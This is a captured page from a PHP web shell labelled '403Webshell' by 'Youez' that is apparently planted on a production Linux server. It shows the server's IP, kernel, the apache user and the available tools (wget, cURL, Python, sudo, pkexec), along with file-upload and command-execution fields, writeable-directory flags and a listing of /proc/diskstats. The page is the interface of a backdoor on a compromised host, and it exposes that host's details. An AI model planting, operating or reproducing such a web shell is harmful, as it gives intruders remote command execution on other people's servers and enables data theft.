403Webshell
Server IP : 152.69.216.235  /  Your IP : 80.80.80.28
Web Server : Apache/2.4.37 (Oracle Linux Server)
System : Linux ust-wp4-prod 5.15.0-310.184.5.2.el8uek.x86_64 #2 SMP Wed Jul 9 16:08:33 PDT 2025 x86_64
User : apache ( 48)
PHP Version : 8.4.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/diskstats
   8       0 sda 344697203 441696 17874588334 832257421 19830098 5850630 1474735118 37235989 0 88145574 869493411 0 0 0 0 0 0
   8       1 sda1 361 199 16395 198 71 0 72 49 0 330 248 0 0 0 0 0 0
   8       2 sda2 3896 35 767205 6462 188 4 75831 923 0 1943 7385 0 0 0 0 0 0
   8       3 sda3 344692280 441462 17873776110 832250411 19829839 5850626 1474659215 37235016 0 88143588 869485427 0 0 0 0 0 0
 252       0 dm-0 343239714 0 17721983491 804602568 21897176 0 1152390681 40625919 0 85962745 845228487 0 0 0 0 0 0
 252       1 dm-1 280609 0 151761908 1377652 3556500 0 322268534 1999159 0 2169104 3376811 0 0 0 0 0 0
   8      16 sdb 161143332 143883313 3956240132 69749154 17639111 126123379 13175940280 170848445 0 88038036 240597600 0 0 0 0 0 0
   8      17 sdb1 161143257 143883313 3956237468 69749105 17639111 126123379 13175940280 170848445 0 88037976 240597551 0 0 0 0 0 0
   8      32 sdc 31788168 46176164 1147654276 14853940 9432 465135 3796536 55602 0 13844509 14909543 0 0 0 0 0 0
   8      33 sdc1 31787945 46176164 1147649364 14853720 9432 465135 3796536 55602 0 13844368 14909323 0 0 0 0 0 0
   8      48 sdd 34958548 48821449 690640324 17919767 980254 8525967 1046853048 14640959 0 18044394 32560726 0 0 0 0 0 0

Youez - 2016 - github.com/yon3zu
LinuXploit